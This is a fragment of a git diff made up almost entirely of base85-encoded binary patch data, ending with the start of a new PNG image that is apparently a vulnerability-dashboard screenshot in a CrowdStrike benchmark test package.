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

literal 0
HcmV?d00001

diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-vulnerability-dashboard.png b/test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-vulnerability-dashboard.png
new file mode 100644
index 0000000000000000000000000000000000000000..6f5b0fc0325f84468ae6f7d7ccaa0d1b970b0a2a
GIT binary patch
literal 599868
zcmd?QbzD_j*9NMzG}0{~Aq~=vl#-k7mfCc8cPmoTA+YJ(ba$6@H%NEK-F`<s?|0Ad
z-0%JW{>56GwdP!N)Ewg(&kO~~N}wPTAU=Ec4CTXnQH5vE;DOJcy@)`7gZx61ZlMPG
z^W0uR;@z{7VWJ<;p1peZK~z}DMQ48zRx57$3H}&ue9<p!=6T}G;$rc4^|vMrDapwL
z%Nm@9-446^hli-h=t#&g{tEBv*PjG~wc%V=b&mbG1V;8Q+#hnU__n!6?)X$sybiC3
zih=BVx&H95G(yi20X|Sz8PEPdF0sD);P}sxS8fIVSC7Ac4hQx?|F0g!Dt`tU7;by>
zzj~S(wE6bG`CdRq2rS+N4ht8P#DB3mfR8Xk`hWEtlo)+$Ms-M=EBF5`Gl)=;fj7wi
zBHI-~nvCphiX&P|%1uER=SIpu10G)@F@rqswm&)lUTLc)jo!zPFz)WWGjnPkGc(r=
zjnJrH|5jN>Ez)ahY6=cUR1A#I2q-ValpGvvNm+aTUb|#0M9MGO7aP@oPZQ?vgJ4#u
zT1XpwI=D<~TW;H>uSNv@w+Xa*16q4$5H<(mM1UH!Bz(uh1_o>1$BeF0e=KF?080;W
z=QK<xA@fUkt(x?JIy=h5uSxA^Tg5fkj9d=C=c5twt@)6lv&d7CH8nkbWJ$o$Bl-I+
z?+-#qLT>Sd{Wp70<4pywOvu2=0E4%GUd?#pOBG4jzWtf0y}g}%lJYL|KWtSf4Qgsi
z#il?V8kbQg7wgXoXcV4{k(g^q;!Zjg>nTX0v6y{uNhFGzsrneZ(HJjm`B@;W5%15_
z&*o~({Ra|CUkQ-;68%{r#4TuEJ{N(8W;36H$&*cIh}k<K|MOoVvR8gH!c?-RhCA1Y
z{j=A3GbHP&#iP})`<lu#rrI*;#iNO$a%BiIEoLj;OYj^nU9^XOF)1^@66oyij{oMm
z(xmXq?*M)<coXp%eOtx9e-ZLEAct65qBKmf@Lyu05r!hq!0vGf7YCJ?$L*yGzDMoJ
